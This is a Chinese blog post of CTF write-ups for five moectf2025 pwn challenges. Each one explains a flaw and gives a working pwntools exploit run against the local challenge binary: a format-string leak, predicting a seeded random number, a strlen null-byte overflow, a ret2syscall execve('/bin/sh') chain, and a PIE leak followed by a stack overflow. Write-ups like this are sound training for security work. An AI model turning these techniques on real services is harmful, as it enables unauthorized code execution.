1294 字
3 分钟
moectf2025_pwn_part.3(详细审计_9~13)
2026-05-13
统计加载中...

待一切平静之后又开始了日常练习巩固基础。

fmt#

替换文本
替换文本
这里的逻辑比较简单我就不太详细地说了。这里我们有一个明显的格式化字符串漏洞可以泄露栈上的内容。然后程序后续会让我们分别输入要泄露的v4v4s2s2的内容,如果输入正确就跳转winwingetshellgetshell
这里的v4v4是指向一段堆内存的指针,我们看到在generategenerate中随机在大小写的2626个字母中随机生成了55个字符存入那段堆内存中。在栈上的s2s2同理。
那么我们可以直接泄露偏移来确定它们的位置。
替换文本
可以看到在偏移量为77的地方出现了一个堆地址,这就是v4v4指针了,偏移量为1010的地方出现了一个55字节构成的数据,这就是v2v2的内容了。
我们先来看s2s2,我们需要根据将这55个字节按照小端序和asciiascii码反转为相应的字符。43 69 49 59 6e对应下来就是CiIYn
替换文本
看到第一个已经输入正确。
接着对于v4v4,我们需要借助%s\%s来泄露堆内存中的字符串。
替换文本
第二次我们直接根据计算出的偏移量来构造输入,看到堆内存存有的55个字符已泄露。我们分别输入即可getshellgetshell

randomlock#

替换文本
逻辑是让我们连续输入1010次一个和随机数v6(0v6(0-9999)9999)相同的数就可以给flagflag
替换文本
初始化我们的种子,一开始是一个11-100100的随机数。后面我们看到进入了changechange进行操作。
替换文本
changechange里面不断对种子进行了一个偶数除22,奇数乘3311的操作。这其实和一个考拉兹猜想有关。该猜想指出对于任意的正整数不断进行这个操作,最终的结果会收敛到11。本题就是如此。
对于11-100100的一个seedseed,大约经过118118次操作之后就会收敛为11,而我们一开始的循环进行了120120次此次操作,已可以保证最终的seedseed11
此外,如果不知道结论的话我们也可以动态调试看一下。
替换文本
可以看到seedseed里面就是11
所以最终的脚本和之前的boomboom做法类似。我们自己编译一个CC语言文件伪造随机数,种子设置为11,范围同样对1000010000取模。在相同时间窗口内它的随机数会和目标文件的相同。我们直接发送即可。
tipstips:如果不知道怎么编译共享文件和ctypes的作用的可以移步上一篇博客。博客链接
EXP:

from pwn import *
import ctypes
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#p = remote('127.0.0.1',12121)
p = process('./pwn')
#gdb.attach(p)
lib = ctypes.CDLL('./1.so')
lib.randd.restype = ctypes.c_int
lib.init()
for i in range(10):
result = lib.randd()
p.sendlineafter(b">", str(result).encode())
p.interactive()

随机数:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
void init(){
srandom(1);
return;
}
int randd(){
return random() % 10000;
}

str_check#

替换文本
替换文本
逻辑很简单,利用字符串的特性修改缓冲区溢出然后跳转后门。
在输入中用00来截断strlenstrlen绕过长度检查的判断。在输入的最前面加入meowmeow进入memcpymemcpy,(不使用strncpystrncpy是因为它的读取会被00截断),它会将我们输入的strstr按第二次输入的nn的长度完全复制到destdest缓冲区上。
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'
HOST = '127.0.0.1'
PORT = 45427
#p = remote(HOST, PORT)
p = process(LOCAL)
backdoor_addr = 0x40123B
ret_addr = 0x40101a
payload1 = flat([
b'meow',
b'\0' * 28,
b'a' * 8,
p64(backdoor_addr)
])
p.sendlineafter("say?", payload1)
p.sendlineafter("it?", b'48')
p.interactive()

syslock#

替换文本
替换文本
这里我们看到,让我们输入一个ii,如果超过44就会退出。但是后面如果不等于5959也会退出,所以我们需要利用这个readread进行对ii修改。
替换文本
ii是在bssbss段的,(可读写)并且它在ss的上方。那么我们可以根据这个偏移,通过readreadii给覆盖成5959绕过判断。
也就是这里先让(char)&s+i(char *)\&s + i变成ii的位置(根据偏移量0x20-0x20)然后再覆写ii5959
替换文本
这里绕过ii的检查我们就有一个足够的栈溢出了。恰好题目给了各类寄存器的gadgetgadget,还有syscallsyscall,我们直接ret2syscallret2syscall构造即可。
tipstips:这里没有/bin/sh/bin/sh,所以我们在第一次readread的时候就写入一个/bin/sh/bin/shbssbss段上,(这里第一次readread恰好还能读88个字节)后续再利用即可。
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'
HOST = '127.0.0.1'
PORT = 43879
p = remote(HOST, PORT)
#p = process(LOCAL)
#gdb.attach(p, '''
#
#''')
syscall_addr = 0x401230
gadget = 0x40123C
pop_rax_ret = 0x401244
binsh_addr = 0x404084
p.sendafter(b"mode\n",b'-32')
payload1 = flat([
p32(59),
b"/bin/sh\x00"
])
p.sendafter(b"password\n",payload1)
payload2 = flat([
b'a' * 64,
b'a' * 8,
p64(pop_rax_ret),
p64(59),
p64(gadget),
p64(binsh_addr),
p64(0),
p64(0),
p64(syscall_addr)
])
p.send(payload2)
p.interactive()

xdulaker#

替换文本
这里我们看到开启了PIEPIE保护,我们的地址就会被随机化,没有办法直接利用。
替换文本
原函数根据我们输入的optopt,进入不同的函数。
替换文本
pullpull直接泄露了optopt的地址,optoptdatadata段,我们可以根据optopt的偏移量泄露程序的基址,然后算出backdoorbackdoor的地址。
替换文本
这里我们可以最多向栈上的缓冲区输入0x400x40个字节。但是没有栈溢出。
替换文本
这里的我们看到了栈溢出,但是它要先检查s1s1最开始的88个字节是不是xdulakerxdulaker,才能触发后面的readread
考虑之前photophoto处的readread,我们可以直接根据两个缓冲区的偏移量来向s1s1上先写入xdulakerxdulaker来绕过lakerlaker的检查。
替换文本
这里是photophoto时的缓冲区bufbuf,相对栈偏移是d980d980
替换文本
这里是lakerlaker时的缓冲区s1s1,相对栈偏移是d9a0d9a0
两个相减就可以得到偏移量0x200x20,所以我们先触发photophoto,然后填充0x200x20写入xdulakerxdulaker就可以绕过检查了栈溢出了。
EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'
HOST = '127.0.0.1'
PORT = 44813
p = remote(HOST, PORT)
#p = process(LOCAL)
#gdb.attach(p)
p.sendlineafter(b'>', b'1')
p.recvuntil(b"Thanks,I'll give you a gift:")
leaked = int(p.recv(14), 16)
log.success(f"leaked:{hex(leaked)}")
base = leaked - 0x4010
backdoor_addr = base + 0x124E
log.success(f"backdoor_addr:{hex(backdoor_addr)}")
p.sendlineafter(b'>', b'2')
payload1 = flat([
b'a' * 0x20,
b'xdulaker'
])
p.sendafter(b'name?!', payload1)
p.sendlineafter(b'>', b'3')
payload2 = flat([
b'a' * 56,
p64(backdoor_addr)
])
p.sendafter(b'xdulaker', payload2)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

moectf2025_pwn_part.3(详细审计_9~13)
https://mkrari.cn/posts/moectf2025_pwn_3/
作者
Mkrari
发布于
2026-05-13
许可协议
CC BY-NC-SA 4.0